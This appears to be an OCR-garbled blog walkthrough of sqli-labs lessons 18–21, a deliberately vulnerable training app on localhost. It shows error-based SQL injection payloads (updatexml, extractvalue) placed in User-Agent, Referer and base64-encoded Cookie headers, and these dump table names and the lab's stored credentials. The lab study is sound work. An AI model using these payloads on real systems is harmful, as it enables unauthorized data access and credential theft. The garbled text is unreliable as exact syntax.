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Welcome

Username :

Password :

Your IP ADDRESS is: 127.0.0.1
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FOST feqlilab/Less- 18/ HTTR/M .1

Host: 127.0.0.1

UserAgent: Mozilla/5.0 (Windows NT 6.1; Wing4,; xG4; n:82.0) Gecko/20100101 FirefoxB2.0
Accept: text'html,applicationfhtmi+xml applicationfoml;g=0.9 imagefwebp,”™;q=0.8
AcceptLanguage: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
AcceptEncoding: gzip, deflate

Content-Type: applicationfewwan-form-urlencoded
Content-Length: 38

Qrigin: hitp:#127.0.0.1

Connection: close

Referer hitp:M2Z7.0.0.1/sqlilab/Less- 18/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submitSubmit

BUser-Agent 5 Naaa, B, TUIHIEES

© O 127.001/s
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Welcome

Username :

Password :

Submit

Your IP ADDRESS is: 127.0.0.1
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$insert="INSERT INTO " security . uagents’ (“uagent , “ip_address’, “username’) VALUES ('$uagent’', '$IP', $uname)
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Connection: close

Usemname
Reeferer hitp:1/127 0.0 VsqilablLess 184
Upgrade-Insecure-Requests: 1

Password
uname=admingpassd=admingsubmit=Submit

I 1 44
SRIEE 2 44
P-'.‘STﬁwmab-Less1EVHTYPH.1
UserAgent:1',1,updatexmi1,concat@x7e,(select da\abasemuwe) 10 W 1
Accept et P08 clcome
Accew—Enwdmg gzip, deflate
Qrigin: http:/127.0.0.1
Gonnection: close Username :
gvnlade—lnsecwe Requests: 1 PHSSWOI'd B

Submit

updatexml (1, concat(0x7e, (select database()),

RE A

POST fsqlilabiLess 18/ HT TP/

A
Hast: 127.0.0.1 P
UserAgentfi1,updatexmi(1,concatiDsT  (select group_ concamame name) fiam infarmation_seh table_: 07 e). 15

Acespt: textihtml, =08

AceeptLanguage: h-CN.zhq=0.8,2h TW:q=0.7.2h- HK:q=0.5,2n-US:q=0 3 £n:q=0.2
AeceptEncoding: gzip, deflate

Content.Typs: applicationfmmuform-urlencoded

Content Length: 38

Qrigin: http:/f127.0.0.1

Connsction: close

Username
Referer: hitp:/127 0.0 1/sqfilabiLess 18/
Upgrade-nsecure-Requests: 1

Password
uname=admingpasswd= admin&submit=Submit

Your IP ADDRESS is: 127.0

mails referers,uagents,user:

SUCCE:ﬁE{wf LY
GGED IN

1',1,updatexml(1,concat(@x7e, (select group_concat(table name) from

'security'),0x7e),1))#
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POST isqlilab/Less- 18/ HTTR/M.1

Cvn(?m—T‘W?. avvlicaliomx wean-form-urlenceded

Conneetion: elose

uname=3dmin&passwd=adminZsubmit=Submit

1',1,updatexml(1,concat(@x7e, (select group_concat(co

a='security' and table name='users'),0x7e),1))#

i
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Welcome
Your IP ADDRESS is: 127.0.0.1
XPATH syntax error: '~id,username,password~"'
kb
v

n_name) from information_schema.columns where table schem

SRELusers Py 4

FOST fsqlilabiLess 18/ HTTP/.1
Host: 127.0.0.1

UserAgent 1. 1updatexmi(1 cancatls e (select gmup_cﬂr\ca(usem.\me 0333 password) fram users)0x7 ), 1)
pt: text/html bp.r

AccsptLanguage: zh-CNzh;q=0.8,zh TV q=0.7 zh-HK; q=0.5,2n-U5;q=0.3,2n;q=!
AcceptEncoding: gzip, deflate

GContent Type: applicatianfwawform-urlen caded

ContentLength: 38

Origin: hitp:#127.0.0.1

GConnection: slose

Referer: http://127.0.0. 1isalilab/Less 18/

Upgrads-Insecure-Requests: 1

uname=admin&passvd=admin&submit=Submit

1',1,updatexml(1,co

ll; - — ‘/‘\»
PRER users3 J& M i A 25 :
POST qulilathessié"HTYPHA

"omem 'YVE applicationbewma-form-urlencoded

Conneetion: close

Tefselect v 0x3a p. fram
febp,"f"19=0.8
19=0.3,en;q=0.2

31 18

uname=admin&passwd=admingsubmit=Submit

1',1,updatexml(1,substr(concat(@x7e, (select g

]
b
Welcome
Your IP ADDRESS is: 127.0.0.1
XPATH syntax error: '~Dumb:Dumb, Angelina:I-kill-you,D'
-
v
T
s
Welcome
Your IP ADDRESS is: 127.0.0.1
XPATH syntax error: ",Dummy: word,secure:crappy,st'
-
v
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Username :

Password :

| Submit |

Your IP ADDRESS is: 127.0.0.1

2B SR, BokRefereryaaa, Jfl, G

https://blog.csdn.netjhzzzz

© O 127001

Welcome

Username :

Password :

| Submit |

Your IP ADDRESS is: 127.0.0.1

SUCCESSFULLY

https://blog.csdn.netjhzzzz
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FRENEN 2

POST isqlilab/Less- 18/ HTTR/.1

Host: 127.00

User-Agent: Mozilla/s 0 (Windows HT 6.1: Wined: 84 n:62.0) G cka/20 100101 Firefoxie2.0
Accept: text/htm| icati 2, M
‘AcceptLanguage: zhCN,zhiq=0.8,zh TW,=0.7 zh HK;q=0 5, en-US;q=0.3,en
AcceptEncoding: gzip. deflate

Content-Type: applicationtewwform-urlenceded

ContentLength: 38

Oigin: hitp:127 0.0.1

Connection: close

Referer:t! 1

Upgtade-nsecure-Requests: 1

uname=admin&passad=admingsubmit=Submit

1',1)#

AR e 44 -

“ip_address”) VALUES ('$ua

T
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POST fsqlilab/Less 19/ HTTPA1

Host 127.0.0.1
User Agent: Wazillai5.0 (Windows NT 6.1 Wind4; x34; 1:82.0) 6 eckei20100101 FirefoxB2.0
Accapt: textihtml, s "

AcceptLanguage: zh-CN.zhq=0 8,20 TW:q=0.7.2h-HK; q=0 5. en-US:q=0.3 en:
AcceptEncoding: gzip, deflate

Content Typs: applicationfmuform-urlencoded

GContentLength: 38

Qrigin: hitp:#127.0.0.1

Connsction: close

Referer 1’ updatexmi( coneatiDx7 e (Select databass0).0x7 £). 1#
Upgrade-Insecure-Requests: 1

uname=admin&passud=adminasubmit=Submi

updatexml (1, concat(0x7e, (select database()),

SRR F %4

POST /sqlilab/Less 19/ HTTP/1

Host: 127.0.0.1
UssrAgent: Mozilla/5.0 (Windaws NT B.1; Win84; x64; n82.0) G2cka/20100101 Firefox82.0
Accept: textitml 3 =08

AcceptLanguage: zh-CNzhig=0.8,2h TW,q=0.7.2h-HIG:q=0.5.en-US:=0.3.en:
AcceptEncoding: gzip, deflate

GContent Type: application/s-wauform-urlencaded

Content Length: 38

Origin: http:/127.0.0.1

Connection: slose

Referer:1',updatexml(1 coneatiDx7 =, (select group_cencatitable_name) from information_sch table_: )07 el
Upgrads-Insscure-Requests: 1

uname=admin&passnd=admin&submit=Submit

-,

Welcome

Your TP ADDRESS is-127.0.0.1

Your IP ADDRESS is: 127.

XPATH syntax error: '~security~'

Welcome

Your IP ADDRESS is: 127.

XPATH syntax error:

~emails,referers,uagents,users~'




1',updatexml(1,concat(®x7e, (select group_concat(table_name) from information_schema.tables where table_schema='s

ecurity'),ox7e),1))#

ll; == 1T — ’]’L ,(
Pltusersk T B4
Hi 7.0.0.1 r
-Agent: Mozilla/S.0 (Windows NT 6.1; Wind4; x04; ne82. D) Geckef20100101 FirefoxB2.0
AcceptEnceding: gzip. de'lale
GConnection: clase Username
Referer1' updatexml{1,concati0xTe,(select group_concat{celumn_name) from infermation_sehema.ceolumns where table_sehema='security and

Welcome

Password

uname=admin&passwd=admingsubmit=Submit

Your IP ADDRESS is: 127.0.0.1

XPATH syntax error: '~id,username,password~"'

SUCC‘E SSFUIL

1 .

1',updatexml(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where table_schemas]
‘security' and table_name='users'),0x7e),1))#

e NI
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PO faiiabiLess 161 FTTPIT 1

Hast 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 5.1, WinG4; x84; v:82, 0) Geeko/20100101 F\re'owﬁz 0
Aecept. testhimi, i,

o L o S B e T e ar (S con S s
AeceptEncoding: gzip, deflate

it 1 T el e T e

Gantent Length: 38

Origin: http:f127.0.0.1

Connastion: close Username
Referer 1. updatexsmift conealDs7 e (selsct group_coneifusemame,Dxia passwand) fiom users) 07 &)1

Jisgresh ke e

>

Password

uname=admin&passwd=admingsubmit=Submit

Your IP ADDRESS is: 127.0.0.1

XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'

v

1',updatexml(1,concat(@x7e, (select group concat(username,®x3a,passwo

i = = T " A 2
FRHusers3% Jim Ml 1 N 2

Host: 127.00.1

Usevagen( Mozilla/s.0 (Windows NT 8.1, WinG4; xG4; ne82. D) GeclthOiOOiOi Firefow82.0
Accew—Enwdmg gzip, deflate

Quigin: http:/127.0.0.1

Connection: close Usefﬂme

>

Welcome

Password

uname=admin&passad=admingsubmit=Submit

Your I[P ADDRESS is: 127.0.0.1

XPATH syntax error: ',Dummy word,secure:crappy,st'

SUCCE:ﬁe

=0




1',updatexml(1,substr(concat(®x7e, (select group_concat(username,®x3a,password) from users),0x7e),31),1))#

c o © [ 127.0.0.1/sqlilab/Less-20/index.php B e 1Y mn o & & -

B ERR WE 25113

SERIES-20

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin and expires: Tue 24 Nov 2020 - 08:30:29
Your Login hame:admin

Your ID:8

2 Pk getty, Jf1&iCookievadmin', i, 4.

fomlez 3]

CET b Les i s AT =
a/5.0 (Windows NT 8.1; WinGd; xG4; v:82.0) Gecko/20100 ‘.D“ Firefox/82.0
P e H e iy
flal
YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin' and expires: Tue 24 Nov 2020 - 08:42:42
Issue with your mysql: You have an ervor in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near "admin" LIMIT 0,1' at line 1

2 CookiedF T HE A N -

3.

VAN

$cookee = $ COOKIE[ ‘uname’];

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT ©,1";
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Hex | HTML | Render

;127001
UserAgent: Mozilla/s.0 (Windows NT 8.1; Wingd; x84; rv82.0) G2cke/20100101 Firefox2.0
Accept: texthtmi 3 g
AcceptLanguage: zh-CH,zhiq=0.8 zh- TW;g=0.7 zh-HI;g=0.5,2n-US:9=0.3,en;q=0.2
AceeptEncoding: gzip, deflate

Referer: http:#127.0.0 1/sqlilabiLess20 index php.
Connection: elose

Cookie: uname=admin’ and updatexmi(1,eoncatiDir e (select databaseC)0x7 &), 1) #
Upgrade-Insecure-Requests: 1

YOURIP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin' and updatexml(1,concat(0x7e,(select
database()),0x7e).1) # and expires: Tue 24 Nov 2020 - 08:51:34

Issue with your mysql: XPATH syntax error: '~security~'

admin' and updatexml(1,concat(©x7e, (select database()),0x7e),1) #

RBUZAE T R4

w32 [ 3 [

GET JsglilabiLess20/indexphp HTTPA 1

Hest 127.0.0.1
User Agent: Wozillai5.0 (Windows NT 6.1 WinG4; x4 n:52.0) Gecka/20100101 Firefox/82.0
Aceept: textihtml b h =08

AcceptLanguage: zhON zhiq=0.8,zh- TW;q=0 7 zh-HK.q=0 5,e - US q=0 3, en;q=0.2
AcceptEncading: gzip. deflate

Referer. hitp:f1127.0.0.1isqlilablLess 20/index.php
Cannection; close

Cookie: uname=admin' and extractvalue(1,concat{0x7 e select group_concatitable_name) fiom
infarmation_schema.tables where table_schema='se o uiity) 07 &)) #
Upgrade-Insecure-Requests: 1

YOURIP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin' and extractvalue(1,concat(0x7e,(select
group_concat(table_name) from information_schema.tables where
table_schema='security"),0x7e)) # and expires: Tue 24 Nov 2020 - 08:54:00
Issue with your mysql: XPATH syntax error: '~emails,referers,uagents,users~'

admin' and extractvalue(1,concat(@x7e, (select group_concat(table_name) from information_schema.tables where tabl]
e_schema='security'),0x7e)) #

R users® 7B 44

Raw | o | 5 [ Hex |
GET isallab/Less 20/index php HTTRI1 1
Host: 127.0.0.1
User Agent, Mozilla.0 (Windons NT 6.1; Wingd; 284; 52 0) Gecko20100101 Firefoxi2 0
Acoept: textihtm o ‘08
AcoeptLanguage: zh-ON.2hiq=D0.8.2h TW: gD 7 2h HIci-0.5,en-USiq=0.3.£n1q=0.2
AcceptEncoding: gzip, deflate
Referer: htp 1127 0.0.VisqlilabiLess-20/index php
Connection: slose

Cockie: uname=admin' and extractvalue(1,cancat@x7 e (select group_coneat(eolumn_name) from
information_schema.columns where table_schema='sscurity and able_name='users},0x72)) #
Upgrade-Inse cure-Requests: 1

YOURIP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin' and extractvalue(1,concat(0x7e,(select
group_concat(column_name) from information_schema.columns where

table schema='security' and table_name='users'),0x7¢)) # and expires: Tue 24 Nov
2020 - 09:03:52

Issue with your mysql: XPATH syntax error: '~id,username,password~'




admin' and extractvalue(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where ta

ble schema='security' and table name='users'),0x7e)) #

FRHLusers# P 45 :
=

GET fsqlilab/Less20/index.php HTTPA 1

Hast: 127.0.0.1 P‘
s Agene Moz (imdons HT 8 1 Wins: 6 ne52.0) ks 201001 Firefoxs2.0
i anguna gy s e Sl o
prosisirieiuiiea e
Referer: hitp://127.0.0. 1/sqlilab/Less- 20findex.php
e ol {07 & (select group_concatfusemame,0x3a,password)
R e
YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin' and extractvalue(1,concat(0x7e,(select
group_concat(username,0x3a,password) from users),0x7e)) # and expires: Tue 24
Nov 2020 - 09:07:01
Issue with your mysql: XPATH syntax exrror: '~Dumb:Dumb,Angelina:I-Kill-you,D'

admin' and extractvalue(l,concat(@x7e, (select group_concat(username,0x3a,password) from users),0x7e)) #

KA users2 ) M 1K) N 25 :
| [z = = R

GET Jsqlilab/Less20/index.php HTTPA.1

Hust 127.00.1 r
User Agent: MozillaS0 (Windaws NT 6.1: Wing4: x64; V82 0) Gesko/20100101 Firefox/B2.0

Acoept: textihimi, icatis i "rie=0.8
AcceptLanguage: zh-CN,.zh;q=0 8 zh- TW:q=0.7.zh-HK;q=0 5 en-US:q=0 3,en; =0 2
AsceptEncoding: gzip. deflate

Reefere; hitp://127 0.0.1/salilabiLess 20iindex. php

Cannection: close

Gookie: { and 1 Te(select

group_coneatiuseimame,0x3a, passward) from users),0x72) 31 #
Upgrads-Insscurs-Requests: 1

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin' and extractvalue(1,substr(concat(0x7e,(select
group concat(username,0x3a,password) from users),0x7e),31)) # and expires: Tue
24 Nov 2020 - 09:17:18

Issue with your mysql: XPATH syntax error: ', Dummy:p@ssword,secure:crappy,st’

=%

admin' and extractvalue(1,substr(concat(@x7e, (select group_concat(username,@x3a,password) from users),0x7e),31))

#




C o © (0 127.0.0.1/sqlilab/Less-21/index.php B eee oy m o & & -

& ERRE mE:2)

SERIES-2 1

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE ; uname = YWRtaW4=|and expires: Tue 24 Nov 2020 - 09:28:43
Your Login name:admin
Your ID:8

.csdn.netfjhzzzz

R Iuname i Hbase64 4 it

2. Fadmin‘ i 1Tbase64%ifit 5, 44k Tgetfd, fEriCookiefd, i, -

1112/5.0 (Windows NT B.1; Wings; x84; v:82.0) Gecka/20100101 Firefoxs2.0
| 3 riq=08
hig=0.8 zh- TWiq=0.7 2h-HI5=0.5,en-US:9=0.3,2ni9=0 2

YOURIP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = YWRtaW4n and expires: Tue 24
Nov 2020 - 09:31:41
Issue with your mysql: You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near
""admin'") LIMIT 0,1' at line 1

-,

1.netfjhzzzz

3.l f

% Cookiedt 1T R EETEA :
PEARHS .

$cookee = $ COOKIE[ 'uname’];

$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
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Raw | 5 | Hex | HTML | Render

GET Jsqlilab/Less21/index.php HTTP/1.1

Host: 127.0.0.1

iserAgent: Mozillai5.0 (Windows NT 6.1; WinGd; x84; v:82.0) Gecka/20 100101 Firefox/B2.0
9 "riq=08
N,zh;q=0 8 zh-TW,q=0 7 zh-HK g=0 5,en-US;q=0.3,en;q=0 2

eflate

admin') #

YWRtaW4nKSAj

SRECEH P 4 -
| ooz [ )

YOURIP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE :juname = YWRtaW4nKSAj and expires:
Tue 24 Nov 2020 - 09:41:13
Your Login name:admin

Your ID:8

Rew | 3 | Hex | HTWL | Render

GET Jsqlilab/Less21/index.php HTTP/1.1

Host: 127.0.0.1

Ussr-Agent: Mozilla/5.0 (Windows NT B.1; WinB4; »64; n-82.0) G2cko/20100101 Firefox/B2.0
Accept textihtmi, 3 rriq=08
AeceptLanguage: h-CH zhg=0 8,20 TWig=0.7 2h-HIGq=0.5,en-US:q=0.3,eniq=0.2
AcceptEncoding: gip, deflate

Refersr: hitp://127.0.0. 1sqlilabiLess21/index.php

Conneetion: close

Cookie: uname="WRtaW4nKSEhbm 2 gZXh0emF]dHZhb HVIK Y2FOKDB4N2UsKHNIb GVjd CBKYXR Y mF: Z5gpKS:

Upgrads-Insscurs-Requests: 1

admin') and extractvalue(1,concat(@x7e, (select database()),0x7e)) #

>

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname =
YWRtaW4nKSBhbmQgZ Xh0cmFjdHZhbHVIKDEsY29uY 2F{
and expires: Tue 24 Nov 2020 - 09:39:20

Issue with your mysql: XPATH syntax error: '~security~'

=

WRtaW4nKSBhbmQgZXh@cmFjdHZhbHV1KDEsY29uY2FOKDB4AN2UsKHN1bGVjdCBKYXRhYmFzZSgpKSwweDd1KS

Fotdy b BRARTR]
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